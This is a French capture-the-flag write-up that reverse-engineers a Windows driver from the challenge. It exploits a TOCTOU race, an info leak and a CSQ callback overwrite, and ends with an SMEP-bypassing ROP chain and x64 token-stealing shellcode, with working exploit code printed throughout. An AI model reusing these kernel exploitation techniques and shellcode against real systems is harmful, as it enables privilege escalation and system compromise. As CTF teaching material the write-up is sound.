Step 5 - Un driver vulnérable, mais pas signé

Étape 5 - Whispers in the Shadows

Description

Well done agent! Just one more push!

Thanks to your talent, we've managed to compromise the machine of the organization's presumed leader and installed a backdoor on it.

Unfortunately, his machine has been hardened and our best analysts have been unable to extract anything about his identity. Everything seems to confirm that he keeps his most precious documents in a restricted directory under C:\Users\Administrator.

Nevertheless, we were able to find the history of a conversation he had with the lead developer a few weeks earlier. We've transcribed it for you here:```


EMERALD> We need to strengthen the security of our communications. I know that our detractors are spying on us. What's the status of the S project?

DEV> We're working on it! We've made significant strides in implementing multi-layer encryption and address masking. The core functionality is nearly complete.

EMERALD> That's excellent to hear.

DEV> I've sent you version 1.0 via our secure channel. You are safe to install it on your machine with the instructions provided. Let me know if you encounter any problems.

EMERALD> Great. Once the driver is fully finalized, we'll need to discuss deployment strategies and any potential implications for our organization's infrastructure. Everything must be ready for our next public action...

DEV> Ave viridis crystallum.

EMERALD> Ave viridis crystallum.


We were able to extract the binaries of the project discussed in this conversation. It's all contained in the following archive: EnigmaEnv.zip.

The archive contains:

* netshdw.sys, the mentioned Windows driver
* netshdw.inf, the INF file to install the driver
* netshdw.cat, the CAT file used to install the driver
* ENIGMA.qcow2, a virtual disk of a VM that mimics the target environment for testing purposes (configured with AZERTY layout)
* instructions.md, a few tips from our experts on how to use the supplied environment

We are therefore counting on you to analyze this driver and exploit its potential vulnerabilities in order to increase your privileges on the leader's machine. This should give us access to those juicy classified documents... Who knows what kind of dreadful public action they could be plotting?

Résolution

Dernière vraie étape du challenge, et pas des moindres, il s’agit de compromettre un driver Windows pour élever ses privilèges sur la machine précédente et accéder au dossier C:cette fois.

On nous donne un fichier d’instructions, un driver Windows au format .sys et ses metadata dans un fichier .inf, ainsi qu’une image qcow2 (c’est aussi volumineux qu’à l’étape précédente, principalement à cause de la taille du fichier qcow2 pour lancer le Qemu en charge d’émuler le système Windows (5Go compressé, 13Go une fois extrait), donc pas inclus ici).

Setup

Sûrement l’étape avec le plus de setup préalable pour réaliser l’exploitation dans des conditions acceptables.

Première étape, obtenir un snapshot de l’image dans lequel on a activé les services Windows d’administration à distance, ici RDP et WinRM. Pour cela, on peut faire tout en mode graphique au lancement de l’image avec la commande fournie. Une fois les services activés, on peut réaliser un snapshot avec Qemu et l’instruction savevm après avoir ouvert le monitor Qemu (Esc+2). Il peut être nécessaire d’autoriser les ports 3389 et 5985 en écoute également :

netsh advfirewall firewall add rule name="Open Port 3389" dir=in action=allow protocol=TCP localport=3389 profile=ALL
netsh advfirewall firewall add rule name="Open Port 5985" dir=in action=allow protocol=TCP localport=5985 profile=ALL

Par la suite, on peut lancer l’ensemble avec la commande suivante (sous MacOS) ; l’option -s indique à qemu d’écouter un gdbserver sur le port 1234 (ou sur un autre port spécifié) et -S d’attendre une connexion de gdb avant d’initialiser l’invité ; l’utilisation de vmnet-shared permet de réaliser le forward de port attendu de l’invité vers l’hôte :

sudo qemu-system-x86_64 \
-smp 6 \
-cpu qemu64,+smep \
-m 8096M \
-device e1000,netdev=net0 \
-nic vmnet-shared \
-netdev vmnet-shared,id=net0 \
-hda ENIGMA.qcow2 \
-serial none  \
-machine type=q35,accel=hvf -nic hostfwd=tcp::3389-:3389,hostfwd=tcp::5985-:5985 \
-loadvm ready \
-S \
-s

NOTE: Il est très fortement conseillé d’activer les accélérations matérielles éventuellement disponibles. A la base je n’avais pas réussi (ni trop cherché) à activer l’accélération matérielle sous MacOS avant d’écrire le write-up, une erreur de plus car le gain de temps est particulièrement significatif (facteur 10 au moins).

Une fois la machine lancée localement, on peut vérifier l’accès à distance local avec evil-winrm sur Linux ou MacOS :

evil-winrm -i 127.0.0.1 -u Administrator -p Admin123

Cet accès est similaire à la backdoor mise en place pour faciliter l’exécution de commandes sur l’environnement distant (d’ailleurs on aurait pu lancer backdoor.py à la place et forward le port associé plutôt que d’exposer WinRM).

Quoiqu’il en soit, il convient maintenant de faciliter le déploiement et l’exécution de scripts à distance. Windows supporte nativement SSH client depuis l’update 1809 (avec le binaire pré-installé). Plusieurs pistes s’offrent alors :

J’ai choisi un mix des approches, avec un premier dépôt de fichiers python en charge de gérer la partie download/upload via SSH, puis l’exécution (via WinRM) de ces scripts pour exécuter les actions souhaitées.

Les fichiers upload.py, download.py et execute.py réalisent les opérations principales en fonction du contexte dans lequel elles sont appelées (local ou remote). Un couple de clé est générée sur les machines non connues, il faut ensuite autoriser ces clés sur la machine distante et autoriser l’accès SSH à la machine au niveau du port souhaité avec la clé publique indiquée.

Une fois l’environnement en place, on peut lancer le driver avec la commande sc start netshdw.

Divers / reconnaissance

La fonction NdisRegisterProtocolDriver est appelée depuis la sous-fonction mappée en 0x140001000, qui initialise :

Code 0xe pour MJ_device_control

ReactOS définit cette constante dans un fichier source lié à l’implémentation RDP. Ne cherchons pas plus loin, au moins c’est défini quelque part …

On est fixés sur les interactions qu’on va pouvoir avoir avec le driver : tout se passera depuis la fonction principale ShdwCtrlDeviceIoCtl.

Le driver n’est pas obfusqué mais reste sans symboles, il va quand même falloir reconstruire les fonctions et les structures à la main. La présence de chaînes utilisées pour le logging accélère quand même le processus de nommage des différentes fonctions.

Parmi les imports du driver, on trouve notamment des fonctions relatives à Ndis et Csq, aux traitements des IRP, et aux fonctions cryptographiques offertes par l’API BCRYPT côté kernel. Je ne connaissais pas la majorité de ces fonctions auparavant.

Pour les appels NDIS (Network Driver Interface Specification) :

Pour les CSQ (Cancel-Safe IRP Queues) :

Pour les fonctions de l’API BCRYPT :

Le reste des imports est assez commun et ne présente pas d’intérêt particulier pour une meilleure compréhension du driver. En tout cas, même si l’utilisation de NDIS reste à ce moment assez mystérieuse, et ne connaissant pas encore l’objet CSQ, on peut voir l’utilisation de fonctions cryptographiques qui semblent indiquer que les données qu’on va envoyer vont être chiffrées et déchiffrées.

Le moment de mettre ses mains dans le cambouis

Intéressons nous maintenant à la fonction ShdwCtrlDeviceIoCtl en charge de la gestion des interruptions de type IRP_MJ_DEVICE_CONTROL.

Cette fonction n’est pas très grande et réalise une disjonction de l’IOCTL passé sur 4 valeurs :

Petit détail qui aura son importance par la suite, les 3 dispatcher pour 0x12a… utilisent en pratique la fonction MmMapLockedPagesSpecifyCache pour obtenir les données en provenance de l’utilisateur.

Analysons chacune de ces fonctions par ordre de complexité.

ShdwCtrlCloseLocalPort

ShdwCtrlCloseLocalPort

Assurément la plus simple des fonctions à analyser. Cette fonction acquiert un verrou, tente de localiser une structure localport, si la structure est localisée à partir des données fournies par l’utilisateur, alors il y a une suppression de l’élément qui est réalisée au sein d’une liste chaînée, qui est assortie d’une décrémentation d’un compteur de référence sur l’élément en question menant à la destruction du localport si l’élément n’est plus référencé. Auparavant, il existe une vérification d’un champ qui peut ressembler à un type. Si ce type & 3 ne vaut pas 0, alors un paquet est envoyé sur le “réseau” via NdisSendNetBufferLists.

La destruction de l’objet dans la fonction nommée destroyLocalPort effectue des opérations conditionnelles de destructions de contextes cryptographiques (clés), de libération de mémoire, et de nettoyage de listes chaînées. C’est une fonction très utile pour comprendre un peu mieux la structure de cet objet localport.

ShdwCtrlOpenLocalPort

ShdwCtrlOpenLocalPort

De manière symétrique à l’opération précédente, l’ouverture d’un port effectue toutes les opérations relatives à l’initialisation d’un objet localport si ce dernier n’est pas déjà présent dans une liste chaînée. Ainsi, les 8 premiers octets des buffers passés en argument des ioctl de ShdwCtrlOpenLocalPort et ShdwCtrlCloseLocalPort constituent l’identifiant d’un localport.

Si l’identifiant n’existe pas, alors le localport est créé (allocation d’un buffer de taille 0x10C0), et rempli en fonction d’un deuxième champ qui dépend des données utilisateur (4 derniers octets des 0xc octets autorisés) : le champ de type.

La disjonction des cas semble s’effectuer de la manière suivante :

Un point très important est qu’il est a priori impossible de créer un localport de type 6, qui soit à la fois en émission et en réception (une condition en début de fonction retourne un code d’erreur si c’est le type qui est présenté).

Dans tous les cas, une clé RSA est générée, et la clé publique associée est exportée dans un attribut de la structure globale. D’autres attributs comme le PID du processus courant, un compteur de référence initialisé à 0 ou le type sont également stockés dans la structure.

Finalement, la liste chaînée principale modifiée lors de l’opération de fermeture d’un localport est modifiée pour ajouter l’élément qui vient d’être créé (un compteur de référence porté par l’élément lui-même est incrémenté). Si le type du localport & 3 != 0, alors la clé publique du port est manipulée et un paquet “réseau” est émis via NdisSendNetBufferLists de manière symétrique à l’opération de fermeture du port.

ShdwSndIRPHandler

ShdwSndIRPHandler

Un peu plus complexe, cette fonction nécessite la fourniture d’une entrée un peu plus étoffée qu’un identifiant :

Structure des données utilisateur attendues pour l’opération d’envoi

Ainsi, le champ sizeData de la structure est celui qui était comparé à la taille totale dans la fonction de dispatch précédente (après ajout de la taille de l’en-tête).

La fonction vérifie tout d’abord que le localport d’identifiant localPortID existe et est un port d’envoi (type & 4 != 0).

Ensuite, en fonction du champ typeOperation fourni :

ShdwRcvIRPHandler

De manière symétrique à ShdwSndIRPHandler, la fonction ShdwRcvIRPHandler qui attend un identifiant de port local en entrée vérifie d’abord si le port existe et si c’est un port de réception, sinon ne fait rien.

La fonction vérifie tout d’abord s’il existe des données à lire sur le localport résolu en comparant un attribut du port à 0 :

Un schéma récapitulatif pour tout ça

A ce stade, on a une description à peu près complète d’un localport :

Structure d’un localport

Plus précisément, voici la structure des listes chaînées de buffers pour un port local de réception :

Structure d’un localport de réception et buffer associé

Voici le même schéma pour un port local d’envoi :

Structure d’un localport d’envoi et buffer associé

Un autre recv

En réalité, ce qui est décrit plus haut suffit pour résoudre l’étape. Mais comme “tout” a été reverse-engineered, autant décrire le driver dans son intégralité.

Malgré avoir compris “assez rapidement” (à mon échelle) l’objectif de l’épreuve, les tests effectués pour confirmer la vulnérabilité initialement prévue ont été mal réalisés (cf. post-mortem). En conséquence, 4 jours complémentaires ont été pris pour finaliser une compréhension presque totale des interactions du driver (sans que cela soit réellement utile, même si l’ensemble est assez intéressant à étudier).

Nous avons parlé plus haut de l’utilisation des fonctions NDIS, qui ne sont que peu utilisées dans les 4 fonctions de dispatch des DeviceIoControl, mis à part pour envoyer des données : mais où sont donc traitées ces données et comment ?

Il existe en fait une autre fonction de réception de données, la fonction mappée à l’adresse 0x140003f90, et paramétrée dans l’objet passé en argument à la fonction NdisRegisterProtocolDriver lors de l’initialisation du driver.

Cette fonction est atteinte à chaque nouveau paquet envoyé via les fonctions de NDIS notamment appelées dans les fonctions d’envoi de données et d’envoi de clés publiques lors de la création des ports locaux. Après avoir vérifié que les données suivent un format correct (constante 0xdead et taille inférieure à 0x5e0), un(e?) WORKITEM est créée et ajoutée aux traitements à effectuer, cela appelle la fonction suivante (nommée receiveKeyBlob_ShdwPtDispatchPacket) :

Un autre recv, vraiment ?

Cette fonction est globalement assez complexe et on ne comprend pas tout de suite sont intérêt. En effet, selon le type de donnée qu’elle reçoit et qu’elle décapsule, plusieurs comportements peuvent être observés :

La structure RemotePort

Cette structure est également utilisée par la fonction ShdwSndIRPHandler au moment de l’envoi des données. Dans la fonction complexe qui se charge de l’envoi, au départ je ne comprenais pas pourquoi il y avait des nombres aléatoires générés qui désignaient des remote ports successifs, et une taille des données découpées qui variait, mais finalement à la lumière de ce qui est décrit au-dessus, on se rend compte qu’il s’agit d’une simulation de protocole de transport distribué à la Tor, en couches :

Ce qu’on observe dans la fonction de réception est donc le processus qui réalise les opérations inverses. La différence est que ce processus est fait une étape à la fois : à chaque étape, si un paquet chiffré est identifié en sortie du déchiffrement symétrique, ce dernier est renvoyé immédiatement avec un NdisSendNetBufferLists.

Chaque étape est vérifiée, y compris à la fin quand il s’agit de traiter le paquet .

Et parce que le schéma est trop long et ne présente que peu d’intérêt pour la résolution, je ne mets ici qu’une photo des interactions globales entre chacun des composants :

Vive le papier

Back à nos moutons - run boy run

J’ai beaucoup joué avec les petites incohérences qu’on trouve tout au long du chemin :

Malheureusement tout cela s’est soldé par des échecs. Pourtant, le challenge entier crie qu’il faut trouver un moyen de réaliser à la fois le comportement de la réception et de l’envoi en même temps. Cependant, la complexité placée dans l’implémentation du protocole de transport en oignon porte à croire qu’il y a une erreur d’implémentation crypto ou protocolaire qui va permettre de faire passer un paquet pour un autre ou de remplir le mauvais buffer.

La solution (expected j’imagine) consiste bien en l’identification d’une race condition permettant d’obtenir un localport à la fois récepteur et émetteur (type = 6, pourtant interdit lors de la création d’un localport).

Cela provient de l’absence de contrôle et de copie des données en provenance de l’utilisateur entre le temps de vérication (Time Of Check) et le temps d’usage et d’inscription du champ Type dans la structure localport (Time Of Use).

NOTE: Au départ j’avais bien relevé l’incohérence des buffers d’entrée et de sortie pour les IOCTL des opérations d’ouverture, de fermeture et d’envoi de données. Mais j’avais cru à une erreur et étais passé outre. De plus, quand j’ai retesté cette piste, j’ai pensé que la fonction MmMapLockedPagesSpecifyCache créait un nouvel espace mémoire alors qu’a priori il s’agit d’un mapping commun vers la même page physique que celle manipulée côté userland.

TOCTOU for the win

En théorie la fenêtre pour exploiter le défaut peut sembler assez courte, et on pourrait envisager de grossir artificiellement la liste chaînée des localports pour augmenter le temps de recherche. En pratique, ça n’est pas la peine et les quelques lignes suivantes suffisent à gagner la course très rapidement :

finished = False

def alternate():
    base_data = p64(0x1122334455667788) + p32(2)
    big_buf[: 0xc] = base_data
    while not finished:
        for i in range(0x1000):
            # alternate between a recv port for creation condition to success, and a type 6 forbidden at creation
            big_buf[8] = 2
            big_buf[8] = 6

t = Thread(target=alternate)
t.start()

# populate some data (this will be sent to start filling a buffer)
data = b'yess'
inbuf = p64(0x1122334455667788) + p64(0x1122334455667788) + p32(4) + p16(len(data)) + data
big_buf[0x10: 0x10+len(inbuf)] = inbuf

while not finished:
    out = kernel32.DeviceIoControl(driver_handle, 0x12a001, None, 0, big_mem, 0xc,
                                   byref(nbytes_returned), None)
    if out != 0:  # success so at least wt have a port open with mode 2
        out = kernel32.DeviceIoControl(driver_handle, 0x12a009, None, 0, big_mem + 0x10, 0x18 + len(data),
                                       byref(nbytes_returned), None)
        if out != 0:  # success so we know we have a port also open with mode 4
            finished = True
        else:  # otherwise attempt fail, DON'T FORGET TO close the port before retrying the race ...........
            out = kernel32.DeviceIoControl(driver_handle, 0x12a005, None, 0, big_mem, 0x8,
                                           byref(nbytes_returned), None)
    time.sleep(0.05)

Il faut bien penser à fermer le port quand la première ouverture de port réussit mais que le test suivant échoue (sinon on ne peut plus réutiliser le port et tous les tests ultérieurs sont voués à l’échec) !

Une fois la course gagnée, tout n’est pas terminé pour autant : certes on a un port en réception et en émission, mais encore faut-il comprendre comment sont gérés les buffers d’envoi et de réception pour pouvoir espérer en tirer en profit.

On exploite alors une sorte de confusion de type entre un buffer, ou plutôt le fait que la taille des données d’un buffer d’envoi autorisée est plus grande que la taille maximum d’un buffer de réception.

NOTE: on aurait aussi pu exploiter la vraie confusion de type avec l’offset dans le buffer de réception qui correspond directement à des données contrôlées par l’utilisateur dans le buffer d’envoi. Mais c’était plus simple en manipulant uniquement la taille.

Schéma d'un port 6 avec des unité d'envoi et de réception confondues

Un peu de gymnastique

Parce qu’un schéma vaut mille mots (et maux lors du dessin), l’effet imagé des opérations suivantes est fourni plus bas :

  1. : Initialement, le localport 0x1122334455667788 a reçu des données en provenance de deux ports : 0xaaaaaaaaaaaaaaaa (Size1 données) et 0xbbbbbbbbbbbbbbbb (Size2 données). Ces données ont été copiées dans le buffer de données du localport et la taille des données qui peuvent être lues est de Size1 + Size2 :
(1) Lecture des données du localport 0x1122334455667788 (situation initiale)
  1. : On lit (plus de) Size1 données (soit plus que le contenu du premier élément de la liste chaînée). Ce dernier est vidé et libéré de la liste chaînée de réception qui est mise à jour. Tous les autres éléments de la liste sont mis à jour vis-à-vis de l’offset, et le contenu est recopié dans le buffer de données du localport. Un buffer contenant les données libérées et leur émetteur 0xaaaaaaaaaaaaaaaa est retourné à l’utilisateur :
(1) Lecture des données du localport 0x1122334455667788 (après réception)

NOTE : Il est important de noter que les données réécrite dans le buffer de données du localport ne proviennent PAS des buffers de réception mais d’une copie des données du buffer de données à l’offset indiqué dans les unités de la liste chaînée (copie de la taille également indiquée dans ces unités).

  1. : Initialement, le localport 0x1122334455667788 contient deux unités en cours de traitement vers les remoteport 0xaaaaaaaaaaaaaaaa et 0xbbbbbbbbbbbbbbbb :
(2) Envoi de données depuis le localport 0x1122334455667788 (situation initiale)
  1. : Avec l’opcode 2 (append), le buffer de données envoyé par l’utilisateur est ajouté (dans la limite d’une taille de 0x4000) aux données de l’unité de traitement d’envoi associée au port remotePortID 0xbbbbbbbbbbbbbbbb :
(2) Ajout de données du localport 0x1122334455667788 vers 0xbbbbbbbbbbbbbbbb lors du send 2
  1. : Même situation initiale que précédemment. Cette fois, l’opcode 4 provoque, en plus de l’ajout à l’unité de traitement d’envoi comme le cas (2), le flush de l’unité et son envoi à la destination pointée par le remotePortID 0xbbbbbbbbbbbbbbbb. Ce dernier reçoit le paquet et l’ajoute dans l’unité de traitement de réception de la liste chaînée correspondant au localport à l’origine de l’envoi, ou en créé un si non existant. On tronque les données du paquet reçu de telle sorte qu’on ne dépasse jamais les 0x1000 octets alloués au buffer de données du localport. Ainsi, les données reçues sont écrites dans le buffer de données du localport à l’offset indiqué par NReadable, ne dépassent jamais de la structure allouée.
(3) Ajout et envoi de données du localport 0x1122334455667788 vers 0xbbbbbbbbbbbbbbbb lors du send 4
  1. : Avec une opération send de type autre que 2 ou 4, la situation est quasiment identique, sauf qu’on n’agit sur aucun buffer du localport d’émission : les données sont envoyées directement sur le réseau, reçues et traitées par le localport cible.

Après avoir modélisé l’effet de chaque primitive de stockage dans les buffers côté envoi de données, et les interactions entre la liste de buffer et le buffer de données reçues dans le localport, on peut maintenant passer à l’exploitation finale.

Avec un localport de type 6, voici ce qui se passe quand on crée un buffer d’envoi de taille 0x2000, et qu’on lit deux fois 0x1000 sur le même localport :

Unité de traitement d’envoi de taille 0x2000 créée

Il faut au préalable avoir envoyé des données avec un send 4 ou 8 pour avoir provoqué la réception de données par le localport ciblé et avoir NReadable > 0 (sinon aucune donnée n’est lue). Quoiqu’il en soit, lorsque la situation ci-dessus est obtenue, lire un premier bloc de 0x1000 octets à l’effet suivant :

On a donc une belle situation de fuite d’information : les callbacks CSQ et l’attribut “itself” se retrouvent dans le buffer de données du localport :

Leakinfo de 0x1000 octets

A la lecture de 0x1000 octets suivante, on obtient notre leakinfo. L’attribut itself permet de localiser la structure du localport en mémoire ce qui sera très pratique pour la suite. De plus, en décrémentant la taille de l’unité de réception de 0x1000 à nouveau, celle-ci devient nulle, et l’unité est libérée, on se retrouve dans la situation initiale (uniquement un localport alloué).

sendRemote(0x1122334455667788, 0x1122334455667788, 2, b'a'*(0x2000-4))
_ = recvRemote(0x1122334455667788, size=0x1000)  # we cannot read more than 0x1000 bytes with recv function
leak = recvRemote(0x1122334455667788, size=0x1000) # as we faked a buffer of size 0x2000, we can still read 0x1000 beyond end of buffer

Avec ce leak, on est en mesure de localiser notre structure en mémoire, ce qui va nous permettre d’écrire une ropchain à une adresse connue dans l’espace des 0x1000 octets du buffer de données de la structure.

On va également être en mesure d’écrire des données après le buffer de données (écrasant les callbacks CSQ) de la manière suivante :

Workflow de réécriture de CSQ, une fois le payload fixé dans le localport

Une fois les callbacks CSQ réécris, on termine en remettant la structure dans un état “propre” :

Workflow de remise à l’état

La prochaine lecture sur ce localport va déclencher le callback CsqInsertIRP réécrit précédemment, car plus aucune donnée n’est accessible (NReadable = 0).

On ponctue par quelques sleep pour éviter les erreurs de réassemblage de paquets (pas forcément réçus dans l’ordre), ce qui donne le workflow suivant :

createLocal(0x4444444444444444, 4)
# ensure packets are received in the same order as emitted, so cut it manually and sleep in-between
for i in range(0, 0x1000, 0x300):
    sendRemote(0x4444444444444444, 0x1122334455667788, 8, payload[:0x1000][i: i+0x300])
    time.sleep(1)

# we fix our payload in the data buffer of the local port
_ = recvRemote(0x1122334455667788, size=0x1000)

# recreate a buffer, complete up to 0x1000 but it's fake (it won't rewrite data in the data buffer of the local port and erase what we just put)
sendRemote(0x1122334455667788, 0x1122334455667788, 4, b'x'*0x10)
time.sleep(1)  # wait for data being received and recv unit created
sendRemote(0x1122334455667788, 0x1122334455667788, 2, payload[:0x1000-0x10])
# send remaining directly, this will erase callbacks with our payload as the written offset un recv unit is now 0x1000 but the NReadable is kept to 0x10 (we used the type confusion to set the offset to 0x1000 without taking the recv path updating NReadable)
sendRemote(0x1122334455667788, 0x1122334455667788, 8, payload[0x1000:0x1100])

# empty the buffers from 0x1122334455667788 for itself, next recv will trigger all manipulated callbacks
out = recvRemote(0x1122334455667788, size=0x1000)
out = recvRemote(0x1122334455667788, size=0x100)

# BOOM
out = recvRemote(0x1122334455667788, size=0x137)

CSQ patterns

Une fois que toutes ces opérations sont réalisées, cela nous laisse le champ libre pour écrire les octets après le buffer de données, c’est-à-dire essentiellement les callbacks liés à la Cancel-Safe-Queue initialisée pour le localport courant.

Le code de ReactOS est très pratique pour identifier l’ordre de ces derniers :

ReactOS is fire

La subtilité du patron: Réécrire des callback en aveugle n’est pas la bonne méthode ici pour obtenir une exécution finement contrôlée et surtout l’absence de crash kernel. En effet, dans le thread kernel qui effectue la réécriture des callbacks (“provenant” de NDIS), la fonction IoCsqRemoveNextIrp est appelée par la suite. Or cette fonction ne dispose pas du contexte dans lequel notre shellcode de vol de token est mappé à une adresse accessible. En conséquence il faut viser l’exécution de callbacks différents de ceux appelés par la fonction IoCsqRemoveNextIrp, ailleurs dans un thread utilisateur.

Une idée peut être d’écrire des callbacks CSQ de telle sorte que :

Pour cela, on peut constater que la fonction IoCsqRemoveNextIrp appelle les callbacks CsqAcquireLock, CsqPeekNextIrp et CsqReleaseLock. Si le retour de CsqPeekNextIrp est nul, aucun autre callback n’est appelé. Ces 3 callbacks doivent donc être des gadgets sans effet autre que de retourner 0.

Quant à la fonction IoCsqInsertIrp, elle appelle les callbacks CsqAcquireLock, CsqReleaseLock, CsqInsertIrp, CsqRemoveIrp et CsqCompleteCanceledIrp.

On a donc possibilités à disposition puisque les deux premiers ne peuvent pas être modifiés (ou alors il faudrait faire attention). Cela permet même d’envisager de chaîner des gadgets même si on ne maîtrise pas forcément toutes les modifications des registres faites entre 2 appels de callback.

Cherchons maintenant un gadget capable de désynchroniser RSP vers une valeur contrôlée dans ntoskrnl.exe. Au moment de l’exécution du callback, rcx pointe sur le CSQ, c’est-à-dire au niveau de la structure actuelle réécrite et qu’on contrôle.

En voici un parfait :

#0x000000001b5c83: mov rdx, qword ptr [rcx + 0x50]; mov rbp, qword ptr [rcx + 0x18]; mov rsp, qword ptr [rcx + 0x10]; jmp rdx;

Ce gadget suffit à lui seul à réaliser la désynchronisation souhaitée, il faut uniquement s’assurer qu’aucune des valeurs ne rentre en contradiction avec les callbacks qui ne doivent pas être réécris. C’est le cas ici et on peut réécrire la structure CSQ avec le motif suivant (2 étant le champ type du CSQ) :

pattern = [
    2, ('BASE_NTOSKRNL', mov_rdx_rbp_rsp_jmp_rdx),
    ('TARGET_RSP', ), ('BASE_NTOSKRNL', xor_rax_rax_ret),
    ('BASE_NTOSKRNL', xor_rax_rax_ret), ('BASE_NTOSKRNL', xor_rax_rax_ret),
    ('BASE_NTOSKRNL', mov_rdx_rbp_rsp_jmp_rdx), ('BASE_NTOSKRNL', mov_rdx_rbp_rsp_jmp_rdx),
    ('BASE_NTOSKRNL', mov_rdx_rbp_rsp_jmp_rdx), 0,
    ('BASE_NTOSKRNL', xor_rax_rax_ret)
]

End of the game

“Classique” pour la fin, on reprend le code du premier vol de token en x64 qu’on trouve à portée de main :

shellcode = b"\x65\x48\x8B\x04\x25\x88\x01\x00\x00"               # mov rax,[gs:0x188]  ; Current thread (KTHREAD)
shellcode += b"\x48\x8B\x80\xB8\x00\x00\x00"                      # mov rax,[rax+0xb8]  ; Current process (EPROCESS)
shellcode += b"\x49\x89\xC3"                                      # mov r11,rax         ; Copy current process to rbx
shellcode += b"\x4D\x8B\x9B\xE8\x02\x00\x00"                      # mov r11,[r11+0x2e8] ; ActiveProcessLinks
shellcode += b"\x49\x81\xEB\xE8\x02\x00\x00"                      # sub r11,0x2e8       ; Go back to current process
shellcode += b"\x49\x8B\x8B\xE0\x02\x00\x00"                      # mov rcx,[r11+0x2e0] ; UniqueProcessId (PID)
shellcode += b"\x48\x83\xF9\x04"                                  # cmp rcx,byte +0x4   ; Compare PID to SYSTEM PID
shellcode += b"\x75\xE5"                                          # jnz 0x13            ; Loop until SYSTEM PID is found
shellcode += b"\x49\x8B\x8B\x58\x03\x00\x00"                      # mov rcx,[r11+0x358] ; SYSTEM token is @ offset _EPROCESS + 0x348
shellcode += b"\x80\xE1\xF0"                                      # and cl, 0xf0        ; Clear out _EX_FAST_REF RefCnt
shellcode += b"\x48\x89\x88\x58\x03\x00\x00"                      # mov [rax+0x358],rcx ; Copy SYSTEM token to current process
# TODO : set rsp to r12 + ? : so set r11 as gadget is from r11
shellcode += b"\x4D\x8D\x9C\x24\xB0\xFE\xFF\xFF"                  # lea r11, [r12 - 0x150]
# TODO : set rcx to its previous value and set cr4 (in rop)
shellcode += b"\x48\xc7\xc1\xf8\x06\x10\x00"                      # mov rcx, 0x1006f8
shellcode += b"\xC3"                                              # ret                 ; Done!
#r12 = 0xfffff2898de1b930
#rsp = 0xfffff2898de1b7e8
#cr4 = 0x1006f8

On mappe une zone exécutable RWX qui contient ce shellcode avant l’exploitation et dont on note l’adresse.

On termine en identifiant d’autres gadgets qui nous permettent de reset le bit de cr4 lié à l’état de SMEP et de sauter sur notre adresse en userland, de remettre cr4 à sa valeur initiale à la fin, et de resynchroniser rsp à sa valeur d’origine une fois le vol de token effectué :

mini_rop = p64(resolved_pop_rcx_ret) + p64(0x6f8)
mini_rop += p64(resolved_mov_cr4_rcx_ret) + p64(token_steal_userland)
mini_rop += p64(resolved_mov_cr4_rcx_ret) + p64(resolved_mov_rsp_r11_pop_r14_ret)

payload = p32(0) + p64(resolved_ret) * (0xc00 // 8)  # 0 for offset = 0 and avoid crash, then ret sled
payload += mini_rop

payload += b'A' * (0x1004 - len(payload))
payload += base_payload

Le ret sled nous aide à ne pas avoir besoin de calculer précisément rsp lors de l’étape de désynchronisation précédente (#partisan du moindre effort).

Exploit final

Voici les étapes de l’exploit final résumées :

Analyse post-mortem

Rigueur, rigueur, rigueur … Après avoir identifié la faille pour la première fois, et étant convaincu que c’était bien ça, je l’ai mal testée (absence de fermeture du port si l’ouverture réussit mais que l’envoi échoue, et absence de logging qui aurait pu rendre compte du problème) … du coup j’ai pensé que ça n’était pas ça, et perdu 4 jours à aller explorer tous les recoins mal connus du driver.

Un autre point a été la paresse de refaire un setup propre. Multiplié par le nombre d’essais, ça fait vite beaucoup de temps, énormément (à compter au moins 1 minute / 1 minute 30 pour lancer une expérimentation sur le QEMU local, alors que c’est 5 secondes sur l’environnement exposé à distance). Au moment de l’écriture de ce write-up avec les accélérations matérielles activées, et plus de ressources données à qemu (cf. ligne de commande explicitée dans le setup), le problème est résolu (pratique …).

Un très beau challenge malgré tout.